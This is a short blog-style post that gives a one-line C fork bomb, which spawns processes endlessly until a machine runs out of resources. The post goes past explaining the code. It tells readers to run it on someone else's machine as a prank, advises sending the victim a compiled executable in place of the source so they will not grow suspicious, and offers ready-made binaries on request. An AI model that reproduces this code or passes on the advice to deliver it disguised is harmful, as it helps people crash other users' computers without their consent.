Fork Bomb

Do not try this at home. Try it at someone else’s home..


  • main(){while(1)fork();}


This is a piece of code known as a fork bomb. When executed, it keeps forking processes again and again, until the system runs out of resources. This is maybe the easiest and quickest way to screw your (or someone else’s) computer. You can grab the code, compile and test it. If you’re gonna do it on your machine, I strongly suggest you do it on a virtual pc (VirtualBox is my favorite). It might also be a great prank to someone you don’t like. However, you might want to compile the code and send them the executable rather than the source, as they might get suspicious. I can provide you with binaries for different architectures, just contact me if you want them.
Happy happy joy joy…